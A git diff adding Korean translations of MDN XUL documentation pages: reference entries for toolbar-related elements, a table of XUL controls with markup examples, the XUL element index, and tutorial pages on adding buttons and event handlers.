+ Gets and sets the value of the label attribute.
+
+
+
+
+ open
+
+ Type: boolean
+
+ Gets and sets the value of the open attribute.
+
+
+
+
+ orient
+
+ Type: string
+
+ Gets and sets the value of the orient attribute.
+
+
+
+ tabIndex
+
+ Type: integer
+
+ Gets and sets the value of the tabindex attribute.
+
+
+
+ type
+
+ Type: string
+
+ Gets and sets the value of the type attribute.
+
+

+

Methods

+

+

XUL 요소에서 상속됨
blur, click, doCommand, focus, getElementsByAttribute

DOM 요소에서 상속됨
addEventListener(), appendChild(), dispatchEvent(), getAttribute(), getAttributeNode(), getAttributeNodeNS(), getAttributeNS(), getElementsByTagName(), getElementsByTagNameNS(), hasAttribute(), hasAttributeNS(), hasAttributes(), hasChildNodes(), insertBefore(), isSupported(), normalize(), removeAttribute(), removeAttributeNode(), removeAttributeNS(), removeChild(), removeEventListener(), replaceChild(), setAttribute(), setAttributeNode(), setAttributeNodeNS(), setAttributeNS()

+

관련 항목

+
+
+ 요소
+
+ toolbar, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox
+
+
+
+ 인터페이스
+
+ nsIAccessibleProvider, nsIDOMXULButtonElement
+
+

diff --git a/files/ko/mozilla/tech/xul/toolbarpalette/index.html b/files/ko/mozilla/tech/xul/toolbarpalette/index.html new file mode 100644 index 0000000000..d2f9a2abd6 --- /dev/null +++ b/files/ko/mozilla/tech/xul/toolbarpalette/index.html @@ -0,0 +1,98 @@ +--- +title: toolbarpalette +slug: Mozilla/Tech/XUL/toolbarpalette +tags: + - MDC Project + - NeedsTechnicalReview + - XUL Elements + - XUL Reference +translation_of: Archive/Mozilla/XUL/toolbarpalette +--- +
+ + « XUL Reference home [ + 예제 | + Attributes | + Properties | + Methods | + 관련 항목 ] +
+

Firefox only

+

toolbar에 넣을 수 있는 항목들의 팔레트입니다. 이 요소는 직접 출력되지 않으며, 대신 도구 모음 설정 대화창의 항목들로 출력됩니다. toolbarpalette의 자식 요소들은 툴바에 포함될 수 있는 toolbarbuttontoolbaritem 이어야 합니다. 여백 항목은 자동적으로 포함되기 때문에 직접 추가하면 안됩니다.

+

idBrowserToolbarPalettetoolbarpaletteoverlay내에 포함하여 Firefox 브라우저에 사용자 정의 버튼을 추가할 수 있습니다.

+

예제

+

(example needed)

+

Attributes

+

+ + + + + +

Inherited from XUL element
+align, +allowevents, +allownegativeassertions, +class, +coalesceduplicatearcs, +collapsed, +container, +containment, +context, +contextmenu, +datasources, +dir, +empty, +equalsize, +flags, +flex, +height, +hidden, +id, +insertafter, +insertbefore, +left, +maxheight, +maxwidth, +menu, +minheight, +minwidth, +mousethrough, +observes, +ordinal, +orient, +pack, +persist, +popup, +position, +preference-editable, +querytype, +ref, +removeelement, +sortDirection, +sortResource, +sortResource2, +statustext, +style, +template, +tooltip, +tooltiptext, +top, +uri, +wait-cursor, +width

+

+

Properties

+

+

XUL 요소에서 상속됨
align, , allowEvents, , boxObject, builder, , , , className, , , , , collapsed, contextMenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxHeight, maxWidth, menu, minHeight, minWidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statusText, style, ,, tooltip, tooltipText, top, width

+

Methods

+

+

XUL 요소에서 상속됨
blur, click, doCommand, focus, getElementsByAttribute

DOM 요소에서 상속됨
addEventListener(), appendChild(), dispatchEvent(), getAttribute(), getAttributeNode(), getAttributeNodeNS(), getAttributeNS(), getElementsByTagName(), getElementsByTagNameNS(), hasAttribute(), hasAttributeNS(), hasAttributes(), hasChildNodes(), insertBefore(), isSupported(), normalize(), removeAttribute(), removeAttributeNode(), removeAttributeNS(), removeChild(), removeEventListener(), replaceChild(), setAttribute(), setAttributeNode(), setAttributeNodeNS(), setAttributeNS()

+

관련 항목

+
+
+ Elements
+
+ toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox
+
+

diff --git a/files/ko/mozilla/tech/xul/xul_controls/index.html b/files/ko/mozilla/tech/xul/xul_controls/index.html new file mode 100644 index 0000000000..fbafdfac68 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_controls/index.html @@ -0,0 +1,548 @@ +--- +title: XUL controls +slug: Mozilla/Tech/XUL/XUL_controls +tags: + - XUL +translation_of: Archive/Mozilla/XUL/XUL_controls +--- +

아래의 표는 XUL에서 제공하는 사용자 인터페이스 컨트롤들의 목록입니다. 컨트롤들의 단계별 사용 방법은 XUL Tutorial을, 레퍼런스 정보는 XUL Reference를 참고하세요.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
<button> + +

사용자가 누를 수 있는 버튼.

+ +
+<button label="Save" accesskey="S"/>
+
+ + +
<button type="menu"> +

드롭다운 메뉴가 붙은 버튼. 버튼을 누르면 메뉴가 열립니다.

+ +
+<button type="menu" label="View">
+  <menupopup>
+    <menuitem label="List"/>
+    <menuitem label="Details"/>
+  </menupopup>
+</button>
+
+ + +
<button type="menu-button"> +

메뉴가 붙은 별도의 화살표 버튼이 있는 버튼. 'menu' 유형과 달리 버튼의 메인 부분을 눌렀을 때 다른 행위를 수행할 수 있습니다.

+ +
+<button type="menu-button" label="New">
+  <menupopup>
+    <menuitem label="New Document"/>
+    <menuitem label="New Image"/>
+  </menupopup>
+</button>
+
+ + +
Image:Controlsguide-button-menubutton.png
<checkbox> +

켜거나 끌 수 있는 컨트롤로, 일반적으로 가능 혹은 불가능할 수 있는 옵션을 만드는데 사용됩니다.

+ +
+<checkbox label="Show Toolbar Labels" checked="true"/>
+
+ + +
<colorpicker> +

색을 선택하는데 사용하는 컨트롤.

+ +
+<colorpicker color="#FF0000"/>
+
+ + +
Image:Controlsguide-colorpicker.png
<colorpicker type="button"> +

버튼만 있는 특수한 색 선택기로, 버튼이 눌려지면 색을 선택할 수 있는 팝업이 출력됩니다.

+ +
+<colorpicker type="button" color="#CC0080"/>
+
+ + +
<datepicker> + + +

날짜 입력에 사용할 수 있는 텍스트박스 집합.

+ +
+<datepicker value="2007/03/26"/>
+
+ + +
<datepicker type="grid"> + + +

날짜를 선택할 수 있는 달력이 출력되는 형태의 날짜선택기(datepicker).

+ +
+<datepicker type="grid" value="2007/02/20"/>
+
+ + +
<datepicker type="popup" > + + +

날짜를 입력할 수 있는 텍스트박스와 함께 달력 팝업을 출력할 수 있는 버튼이 같이 있는 날짜 선택기.

+ +
+<datepicker type="popup" value="2008/08/24"/>
+
+ + +
<description> +

긴 문장의 텍스트를 출력하는데 사용되는 요소

+ +
+<description>
+  Select a time for the event to start
+</description>
+
+ + +
<groupbox> +

다른 사용자 인터페이스 컨트롤들을 포함하는 제목이 있는 상자 요소

+ +
+<groupbox>
+  <caption label="Network"/>
+</groupbox>
+
+ + +
<image> +

URL로 지정한 이미지

+ +
+<image src="start.png"/>
+
+ + +
<label> +

label은 특정 컨트롤의 제목을 출력하기 위해 사용됩니다.

+ +
+<label control="volume" value="Volume:"/>
+
+ + +
<listbox> +

listbox는 라벨이 달린 항목 중 하나를 선택하는데 사용됩니다.

+ +
+<listbox>
+  <listitem label="Chocolate"/>
+  <listitem label="Jelly Beans"/>
+</listbox>
+
+ + +
<menulist> +

A menulist (or combobox) is used to create a control with a drop down to select a value.

+ +
+<menulist>
+  <menupopup>
+    <menulist label="Lions" value="l"/>
+    <menuitem label="Tigers" value="t"/>
+    <menuitem label="Bears" value="b"/>
+  </menupopup>
+</menulist>
+
+ + +
<menulist editable="true"> +

An editable menulist is like a standard menulist except that the selected value is displayed in a textbox where it may be modified directly or values not in the popup list may be entered.

+ +
+<menulist editable="true">
+  <menupopup>
+    <menuitem label="Elephants" value="Elephants"/>
+    <menuitem label="Kangaroos" value="Kangaroos"/>
+    <menuitem label="Bats" value="Bats"/>
+  </menupopup>
+</menulist>
+
+ + +
<progressmeter> +

A progress meter is used to display the progress of a lengthy task.

+ +
+<progressmeter value="40"/>
+
+ + +
<radio> +

A radio button is used when only one of a set of options may be selected at a time.

+ +
+<radiogroup>
+  <radio label="Light" value="light"/>
+  <radio label="Heavy" value="heavy"/>
+</radiogroup>
+
+ + +
<richlistbox> +

The richlistbox displays a list of items where one or more may selected. Unlike the listbox which is designed to display only text, the richlistbox may display any type of content.

+ +
+<richlistbox>
+  <richlistitem>
+    <image src="happy.png"/>
+  </richlistitem>
+  <richlistitem>
+    <image src="sad.png"/>
+  </richlistitem>
+  <richlistitem>
+    <image src="angry.png"/>
+  </richlistitem>
+</richlistbox>
+
+ + +
<scale> + + +

A scale displays a bar with a thumb that may be slid across the bar to select between a range of values.

+ +
+<scale min="1" max="10"/>
+
+ + +
<textbox> +

A textbox which allows a single line of text to be entered.

+ +
+<textbox value="firefox"/>
+
+ + +
<textbox multiline="true"> +

A textbox which allows multiple lines of text to be entered.

+ +
+<textbox multiline="true"/>
+
+ + +
<textbox type="autocomplete"> +

A textbox which provides a dropdown showing matches that would complete what the user types. The user can select one to have it filled into the textbox.

+ +
+<textbox type="autocomplete" autocompletesearch="history"/>
+
+ + +
<textbox type="number"> + + +

A textbox for entering numbers. Two arrow buttons are displayed for cycling through values.

+ +
+<textbox type="number" min="1" max="20"/>
+
+ + +
<textbox type="password"> +

A textbox that hides the characters typed, used for entering passwords.

+ +
+<textbox type="password"/>
+
+ + +
<timepicker> + + +

A timepicker displays a set of textboxes for entering a time.

+ +
+<timepicker value="12:05"/>
+
+ + +
<toolbarbutton> +

A button that is displayed on a toolbar.

+ +
+<toolbarbutton label="Reload"/>
+
+ + +
<toolbarbutton type="menu"> +

A button that is displayed on a toolbar with a drop down menu attached to it.

+ +
+<toolbarbutton type="menu" label="Show">
+  <menupopup>
+    <menuitem label="Toolbars"/>
+    <menuitem label="Status Bar"/>
+  </menupopup>
+</toolbarbutton>
+
+ + +
<toolbarbutton type="menu-button"> +

A button on a toolbar that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.

+ +
+<toolbarbutton type="menu-button" label="Open">
+  <menupopup>
+    <menuitem label="Open Changed Files"/>
+    <menuitem label="Open All"/>
+  </menupopup>
+</toolbarbutton>
+
+ + +
<tree> +

A tree displays a hierarchy of items in multiple columns.

+ +
+<tree>
+  <treecols>
+    <treecol label="Name" flex="1"/>
+    <treecol label="Size" flex="1"/>
+  </treecols>
+  <treechildren>
+    <treeitem>
+      <treerow>
+        <treecell label="Popcorn"/>
+        <treecell label="Large"/>
+      </treerow>
+    </treeitem>
+    <treeitem>
+      <treerow>
+        <treecell label="Root Beer"/>
+        <treecell label="Small"/>
+      </treerow>
+    </treeitem>
+  </treechildren>
+</tree>
+
+ + +
diff --git a/files/ko/mozilla/tech/xul/xul_reference/index.html b/files/ko/mozilla/tech/xul/xul_reference/index.html new file mode 100644 index 0000000000..11d5570ccf --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_reference/index.html @@ -0,0 +1,148 @@ +--- +title: XUL Reference +slug: Mozilla/Tech/XUL/XUL_Reference +tags: + - XUL + - XUL Reference +translation_of: Archive/Mozilla/XUL/XUL_Reference +--- +

« XUL Reference « +

+ + + + + + + + + +
전체 XUL 요소
+

action
+arrowscrollbox
+bbox
+binding
+bindings
+box
+broadcaster
+broadcasterset
+button
+browser
+checkbox
+caption
+colorpicker
+column
+columns
+commandset
+command
+conditions
+content
+deck
+description
+dialog
+dialogheader
+editor
+grid
+grippy
+groupbox
+hbox
+iframe
+image
+key
+keyset
+label
+listbox
+listcell
+listcol
+listcols
+listhead
+listheader
+

+
+

listitem
+member
+menu
+menubar
+menuitem
+menulist
+menupopup
+menuseparator
+notification
+notificationbox
+observes
+overlay
+page
+popup
+popupset
+preference
+preferences
+prefpane
+prefwindow
+progressmeter
+radio
+radiogroup
+resizer
+richlistbox
+richlistitem
+row
+rows
+rule
+script
+scrollbar
+scrollbox
+scrollcorner
+separator
+spacer
+splitter
+stack
+statusbar
+statusbarpanel
+

+
+

stringbundle
+stringbundleset
+tab
+tabbrowser
+tabbox
+tabpanel
+tabpanels
+tabs
+template
+textnode
+textbox
+textbox (Firefox autocomplete)
+textbox (Mozilla autocomplete)
+titlebar
+toolbar
+toolbarbutton
+toolbargrippy
+toolbaritem
+toolbarpalette
+toolbarseparator
+toolbarset
+toolbarspacer
+toolbarspring
+toolbox
+tooltip
+tree
+treecell
+treechildren
+treecol
+treecols
+treeitem
+treerow
+treeseparator
+triple
+vbox
+window
+wizard
+wizardpage
+

+
+

다른 XUL 목록

+ diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/adding_buttons/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/adding_buttons/index.html new file mode 100644 index 0000000000..7547d91ba9 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/adding_buttons/index.html @@ -0,0 +1,102 @@ +--- +title: Adding Buttons +slug: Mozilla/Tech/XUL/XUL_Tutorial/Adding_Buttons +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Buttons +--- +

+

« 이전다음 »

+

+

이 절에서, 우리는 창에 간단한 버튼 몇 개를 추가하는 법을 살펴보겠습니다.

+

창에 버튼 추가하기

+

우리가 지금까지 만든 창은 안에 아무것도 없습니다, 그래서 아직까지는 재미있지 않습니다. 이 절에서, 우리는 찾기(Find)와 취소(Cancel) 버튼 둘을 추가합니다. 또한 창에 버튼을 두는 간단한 방법을 배웁니다.

+

HTML처럼, XUL은 UI 요소를 만드는 데 쓸 수 있는 태그가 다수 있습니다. 이 가운데 가장 기본은 button 태그입니다. 이 요소는 간단한 버튼을 만드는 데 씁니다.

+

button 요소에는 요소와 관련된 두 주요 프로퍼티 labelimage가 있습니다. 여러분은 하나나 둘 다 필요합니다. 이와 같이, button은 label, image만이나 label과 image 둘 다 있을 수 있습니다. 예를 들어, button은 보통 대화상자에서 확인(OK)과 취소(Cancel) 버튼에 씁니다.

+

button 구문

+

button 태그의 구문은 다음과 같습니다.

+
<button
+    id="identifier"
+    class="dialog"
+    label="OK"
+    image="images/image.jpg"
+    disabled="true"
+    accesskey="t"/>
+
+

속성은 다음과 같고, 모두 선택 속성입니다.

+
+
+ id 
+
+ 여러분이 식별할 수 있도록 버튼에 붙이는 유일한 식별자. 여러분은 모든 요소에서 이 속성을 봅니다. 여러분이 스타일시트나 스크립트에서 버튼을 참조하고 싶다면 이를 쓰고 싶을 겁니다. 그러나, 여러분은 거의 모든 요소에 이 속성을 추가해야 합니다. 단순함을 위해 항상 이 입문서의 요소에 두지는 않습니다.
+
+ class 
+
+ 버튼의 스타일 클래스. 이는 HTML에서와 같이 작동합니다. 버튼이 안에 보이는 스타일을 나타내는 데 씁니다. 이 경우에는 dialog값이 쓰입니다. 대개의 경우, 여러분은 버튼에 클래스를 쓰지 않습니다.
+
+ label 
+
+ 버튼에 보이는 label. 예를 들어, 확인( + + OK + )이나 취소( + + Cancel + ). 이 속성을 빼면, 텍스트가 보이지 않습니다.
+
+ image 
+
+ 버튼에 보이는 image의 URL. 이 속성을 빼면, image가 보이지 않습니다. 여러분은 또한 list-style-image 프로퍼티를 써서 스타일시트에 image를 지정할 수 있습니다.
+
+ disabled 
+
+ 이 속성을 true로 설정하면, button이 기능하지 않습니다. 이는 보통 회색으로 텍스트를 그립니다. 버튼이 기능하지 않으면, 버튼의 기능이 수행될 수 없습니다. 이 속성을 아주 빼면, 버튼이 작동합니다. 여러분은 JavaScript를 써서 버튼의 기능 상태를 엇바꿀(switch) 수 있습니다.
+
+ accesskey 
+
+ 이는 단축키(shortcut key)로 쓸 문자로 설정돼야 합니다. 이 문자는 label 텍스트에 보여야 하고 대체로 밑줄이 그려집니다. 사용자가 ALT(나 각 플랫폼마다 다른 비슷한 키)와 access key를 눌렀을 때, 버튼은 창의 어디에서나 focus를 받습니다.
+
+

button은 위에 나열된 것보다 더 많은 속성을 지원함을 유념하세요. 그 밖의 속성은 나중에 논의합니다.

+

버튼 예제

+

Example 1 : Source View

+
+ Image:buttons1.png
+
<button label="Normal"/>
+<button label="Disabled" disabled="true"/>
+
+

위 예제는 그림(image)처럼 버튼을 생성합니다. 첫째 버튼은 보통 버튼입니다. 둘째 버튼은 기능하지 않으므로 회색으로 나옵니다.

+

파일 찾기(find files) 유틸리티를 위한 간단한 찾기(Find) 버튼을 만들면서 시작합니다. 아래 예제 코드는 그 방법을 보입니다.

+
<button id="find-button" label="Find"/>
+
+
+ Firefox는 웹 페이지에서 chrome 창 열기를 허용하지 않으므로, 입문서의 View 링크는 보통 브라우저 창에 열림을 유념하세요. 이 때문에, button은 창을 가로질러 늘어나 보입니다. 여러분은 늘어남을 막기 위해 window 태그에 align="start"를 추가할 수 있습니다.
+
+
findfile.xul 예제
+

우리가 이전 절에서 만든 findfile.xul 파일에 이 코드를 추가합시다. 코드는 window 태그 사이에 삽입이 필요합니다. 추가한 코드는 아래에 빨간 색으로 보입니다.

+
<?xml version="1.0"?>
+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+<window
+    id="findfile-window"
+    title="Find Files"
+    orient="horizontal"
+     xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+  <button id="find-button" label="Find"/>
+  <button id="cancel-button" label="Cancel"/>
+
+</window>
+
+
+ Image:buttons2.png
+

여러분은 취소(Cancel) 버튼 또한 추가됐음을 알아챌 겁니다. 창은 두 버튼이 서로 곁에 보이도록 horizontal 방향을 주었습니다. 혹시 여러분이 Mozilla에서 그 파일을 열면, 여기 보이는 그림 같은 것을 얻습니다.

+
+

 

+
+ 우리가 XUL 파일에 직접 텍스트 label을 넣지 않았음을 유념하세요. 우리는 텍스트가 쉽게 번역될 수 있도록 대신 엔티티를 쓸 겁니다.
+

다음 절에서, 우리는 XUL 창에 label과 image를 추가하는 법을 알아보겠습니다.

+

같이 보기 more button fetaures

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/adding_event_handlers/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/adding_event_handlers/index.html new file mode 100644 index 0000000000..ca1cc19642 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/adding_event_handlers/index.html @@ -0,0 +1,137 @@ +--- +title: Adding Event Handlers +slug: Mozilla/Tech/XUL/XUL_Tutorial/Adding_Event_Handlers +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Event_Handlers +--- +

 

+ +

+

« 이전다음 »

+

+ +

지금까지의 파일 찾기 대화창은 꽤 괜찮은 모양세를 갖추고 있습니다. 다 끝나지는 않았지만 손쉽게 간단한 사용자 인터페이스를 만들었습니다. 다음으로는 스크립트를 추가하는 방법에 대해 알아보겠습니다.

+ +

스크립트 사용하기

+ +

파일 찾기 대화창이 제대로 동작하려면 대화창과 사용자의 상호작용시 실행해야하는 스크립트를 추가해야 합니다. 우리는 Find 및 Cancel 버튼과 각 메뉴 명령을 처리할 스크립트를 추가하려고 합니다. 이를 위해 HTML에서와 거의 동일한 방법으로 JavaScript 함수를 이용해서 작성할 것입니다.

+ +

script 요소를 사용해서 XUL 파일에 스크립트를 포함할 수 있습니다. XUL 파일에서 script 태그 내에 직접 코드를 넣을수도 있지만 별도의 파일에 코드를 포함하는게 더 좋으며, 이렇게 하면 XUL창의 로딩 속도가 약간 빨라집니다. 외부 스크립트 파일과 연결하기 위해서는 src 속성을 사용합니다.

+ +
+
파일 찾기 예제
+ +

파일 찾기 대화창에 스크립트를 넣어보도록 하겠습니다. 스크립트 파일의 이름을 무엇으로 하든 상관없지만, 보통 XUL 파일과 이름은 같으면서 확장자만 .js로 하여 작성합니다. 이 경우 findfile.js가 사용될 것입니다. 여는 window 태그 아래 그리고 다른 요소들 앞에 아래 줄을 추가하세요.

+ +
<script src="findfile.js"/>
+
+ +

우리는 스크립트 파일에 무엇을 써야하는지를 안 후에 이 파일을 생성할것 입니다. 스크립트 파일에는 이벤트 핸들러에서 호출할 수 있도록 몇 개의 함수를 정의할 것입니다.

+
+ +

여러분은 하나의 XUL 파일에 여러개의 스크립트를 포함할 수 있습니다. 이를 위해서는 각각 다른 스크립트를 가리키는 여러개의 script 태그를 사용하면 됩니다. src 속성에는 상대 혹은 절대 URL을 사용할 수 있습니다. 예를 들어 다음과 같은 형식으로 URL을 사용할 수 있습니다.

+ +
<script src="findfile.js"/>
+<script src="chrome://findfiles/content/help.js"/>
+<script src="http://www.example.com/js/items.js"/>
+
+ +

본 자습서에서는 JavaScript의 사용법과 관련된 내용에 대해서는 다루지 않겠습니다. 이는 아주 넓은 주제이며 이를 위한 다양한 리소스들이 있습니다.

+ +
+

기본적으로 JavaScript 콘솔은 웹 페이지에서 발생하는 오류만 보여줍니다. Chrome JavaScript에서 발생하는 오류를 출력하려면 설정에서 javascript.options.showInConsole 값을 true로 변경해야 합니다. 또한 디버깅을 위해 javascript.options.strict 설정값을 바꿀 수 있습니다. 이 값을 true로 설정하면, 표준에 맞지 않고 잘못 쓰여졌거나 구문에 맞지 않아서 로직 오류를 발생시킬 수 있는 것들이 JavaScript 콘솔에 기록될 것입니다.

+
+ +

이벤트에 응답하기

+ +

스크립트는 사용자 혹은 다른 상황에 의해 발생하는 다양한 이벤트에 응답하는 코드를 포함합니다. 대략 30개 이상의 서로 다른 이벤트가 존재하며 이것들은 각각 서로 다른 방식으로 처리됩니다. 사용자가 마우스 버튼이나 키를 누르는 것과 같은 것들이 일반적인 이벤트입니다. 각각의 XUL 요소는 서로 다른 상황에서 특정 이벤트를 발생시킬 수 있는 능력이 있습니다. 어떤 이벤트는 특정 요소에 의해서만 발생됩니다.

+ +

각 이벤트는 이름을 가지고 있으며, 'mousemove' 이벤트의 경우는 사용자가 UI 요소 위에서 마우스를 움직일 경우에 발생하는 이벤트 이름입니다. XUL은 DOM Events에서 정의한 것과 동일한 이벤트 메카니즘을 사용합니다. 사용자가 마우스를 움직이는 것과 같이, 이벤트를 발생시킬 수 있는 어떤 행위가 발생하면 해당 이벤트 유형에 해당하는 이벤트 객체가 생성됩니다. 이벤트 객체에는 마우스 위치나 눌러진 키와 같은 다양한 속성이 설정됩니다.

+ +

그리고 나면 이벤트는 다음의 단계에 따라 XUL로 전송됩니다.

+ + + +

여러분은 캡쳐나 버블링 단계에서 이벤트에 응답할 수 있습니다. 이벤트의 전파가 모두 끝난 후에 대상 요소에 미리 정의된 기본 행위가 발생합니다.

+ +

예를 들어, 마우스가 상자안에 있는 버튼위에서 움직였다면 'mousemove' 이벤트가 발생되고, 창, 문서, 상자 순으로 전송됩니다. 여기까지오면 캡쳐 단계가 끝이 납니다. 다음으로는 버튼으로 'mousemove' 이벤트가 전달됩니다. 최종 버블링 단계에서는 다시 상자, 문서, 창으로 이벤트가 전송됩니다. 버블링 단계는 당연히 캡처 단계의 역순으로 진행됩니다. 어떤 이벤트는 버블링 단계를 수행하지 않는다는 것을 알아 두십시요.

+ +

여러분은 이벤트 전파 단계별로 각 요소가 이벤트에 응답하도록 리스너를 부착할 수 있습니다. 하나의 이벤트는 대상 요소의 모든 부모 요소들에게도 전달되기 때문에 특정 요소나 계층 구조상 상위에 있는 요소에도 리스너를 부착할 수 있습니다. 당연히 더 높은 위치에 있는 요소에 부착된 이벤트는 이 요소 내부에 있는 모든 요소의 알림을 받게 됩니다. 반대로 버튼에 부착된 이벤트는 해당 버튼과 관련된 이벤트만 받게 됩니다. 이것은 동일하거나 유사한 코드를 사용해서 여러개의 요소의 이벤트를 처리하고자 할 때 유용합니다.

+ +

가장 일반적으로 사용되는 이벤트는 'command' 이벤트입니다. command 이벤트는 사용자가 어떤 요소를 활성화할 때 발생합니다. 예를 들어 버튼을 누르거나, 체크박스를 변경한다던지, 메뉴의 한 항목을 선택하는 것들이 이에 해당됩니다. command 이벤트는 해당 요소를 활성화하는 여러가지 방법을 자동으로 처리하기 때문에 유용하게 사용됩니다. 예를 들어 command 이벤트는 사용자가 버튼을 클릭하기 위해 마우스를 이용하던지 Enter 키를 누르던지 상관없이 발생됩니다.

+ +

이벤트 리스너를 요소에 부착하는데는 2가지 방법이 있습니다. 첫 번째는 속성값에 스크립트를 사용하는 것입니다. 두 번째는 대상 요소의 addEventListener 메소드를 호출하는 것입니다. 전자는 버블링 단계에서 발생하는 이벤트만을 처리할 수 있긴 하지만, 사용하기 쉽다는 장점이 있습니다. 후자는 어떠한 단계의 이벤트도 처리할 수 있으며 한 요소의 특정 이벤트에 대해 여러개의 리스너를 부착할 수도 있습니다. 보통 대부분의 이벤트에 대해 속성을 이용하여 처리하는 형식이 더 많이 사용됩니다.

+ +

속성 이벤트 리스너

+ +

속성 형태를 사용하기 위해서는 이벤트에 반응해야 할 요소에 이벤트 이름 앞에 'on'이 붙은 이름의 속성을 위치시키면 됩니다. 예를 들어, 'command' 이벤트에 해당하는 속성은 'oncommand'입니다. 속성 값은 어떤 이벤트가 발생할 때 실행될 스크립트이어야 합니다. 일반적으로 이 코드는 짧은 내용이거나 별도의 스크립트에서 정의된 함수를 호출할 것입니다. 다음은 버튼이 눌러졌을때 응답하는 예제입니다.

+ +

예제 1 : Source View

+ +
<button label="OK" oncommand="alert('Button was pressed!');"/>
+
+ +

command 이벤트는 버블링 단계를 거치기 때문에 해당 요소를 감싸는 요소(부모 요소)에도 이벤트 리스너를 부착시킬 수 있습니다. 아래의 예제에서 상자는 이벤트 리스너가 부착되어 있으며, 이 상자의 자식 요소들 모두에서 발생하는 이벤트에 응답하게 됩니다.

+ +

예제 2 : Source View

+ +
<vbox oncommand="alert(event.target.tagName);">
+  <button label="OK"/>
+  <checkbox label="Show images"/>
+</vbox>
+
+ +

예제에서 command 이벤트는 버튼이나 체크박스에서 vbox로의 버블링 단계를 거칩니다. 만일 또 다른 리스너가 버튼에 위치해 있었다면, 이 코드가 먼저 호출되고 다음에 vbox의 핸들러가 실행될 것입니다. 이벤트 핸들러는 이벤트 객체인 'event'라는 미리 정의된 인자를 전달 받습니다. 이것은 이벤트에 관한 특정 정보를 얻기 위해 사용됩니다. 이벤트 객체에서 자주 사용되는 속성은 이벤트의 'target' 속성으로 이것은 실제로 이벤트가 발생한 대상 요소를 포함하고 있습니다. 예제에서는 대상 요소의 태그 이름이 포함된 경고창을 출력하였습니다. 버블링 단계에서 'target' 속성은 유용하게 사용할 수 있는데, 여러분은 하나의 스크립트로 여러개의 버튼들을 처리할 수 있습니다.

+ +

여러분은 속성 구문이 HTML 문서에서 이벤트에 사용된것과 비슷하다는 것을 발견하였을 것입니다. 사실 HTML과 XUL 모두 동일한 이벤트 메카니즘을 공유합니다. 한 가지 중요한 차이는 HTML에서는 버튼의 응답에 'click' 이벤트(onclick 속성)가 사용되는 반면, XUL에서는 command 이벤트가 사용된다는 것입니다. XUL에서도 click 이벤트가 존재하지만 키보드가 아닌 마우스 클릭에만 응답합니다. 따라서, XUL에서는 특정 요소가 꼭 마우스에 의해서만 처리되어야만 하는 이유가 없다면 click 이벤트를 사용하지 않는게 좋습니다. 또한, command 이벤트는 요소가 사용할 수 없는 상태(disabled)일때는 전송되지 않지만 click 이벤트는 대상 요소의 상태와 상관없이 전송됩니다.

+ +
+
우리의 파일 찾기 예제
+ +

파일 찾기 대화창에 있는 Find와 Cancel 버튼에는 command 이벤트 핸들러를 부착할 수 있습니다. Find 버튼을 누르면 검색을 시작해야 할 것입니다. 이 부분은 아직 구현되지 않았기 때문에 지금은 그냥 두겠습니다. 그러나 Cancel 버튼을 눌렀을때는 창이 닫히게 하는 것이 좋을것 같습니다. 아래의 코드는 이것을 어떻게 하는지 보여줍니다. 동일한 코드를 Close 메뉴 항목에도 넣어 보겠습니다.

+ +
<menuitem label="Close" accesskey="c" oncommand="window.close();"/>
+...
+
+<button id="cancel-button" label="Cancel"
+     oncommand="window.close();"/>
+
+ +

두 개의 핸들러가 추가되었습니다. oncommand 속성이 Close 메뉴 항목에 추가되었습니다. 이 핸들러를 사용해서 사용자는 마우스로 메뉴 항목을 클릭하거나 키보드로 선택함으로서 창을 닫을 수 있습니다. Cancel 버튼에도 oncommand 핸들러가 추가되었습니다.

+
+ +

DOM 이벤트 리스너

+ +

이벤트 핸들러를 추가하는 두 번째 방법은 해당 요소의 addEventListener 메소드를 호출하는 것입니다. 이 방법은 동적으로 이벤트 리스너를 부착할 수 있게 해주며 캡처 단계에서 이벤트에 응답하게 해 줍니다. 구문은 다음과 같습니다.

+ +

예제 3 : Source View

+ +
<button id="okbutton" label="OK"/>
+
+<script>
+function buttonPressed(event){
+  alert('Button was pressed!');
+}
+
+var button = document.getElementById("okbutton");
+button.addEventListener('command', buttonPressed, true);
+</script>
+
+ +

getElementById() 함수는 주어진 id에 해당하는 요소를 반환하며, 이 경우에는 버튼 요소입니다. addEventListener() 함수는 새로운 캡처 단계의 이벤트 리스너를 추가하기 위해 호출되었습니다. 첫 번째 인자는 응답할 대상 이벤트 이름입니다. 두 번째 인자는 이벤트가 발생했을 때 호출될 이벤트 리스너 함수입니다. 마지막 인자는 캡처 단계에서 사용하기 위해 true이어야 합니다. 여러분은 마지막 인자를 false로 설정하면 캡쳐 단계가 아닌 버블링 단계에서 응답하도록 합니다. 두 번째 인자로 주어진 이벤트 리스너 함수는 위의 buttonPressed 함수에서 선언된 것과 같이 인자로 event 객체 하나만 받아야 합니다.

+ +
지금까지의 파일 찾기 예제 : Source View
+ +

다음에는 이벤트 객체에 대해 좀 더 자세히 알아보겠습니다.

+ +

+

« 이전다음 »

+

+ +

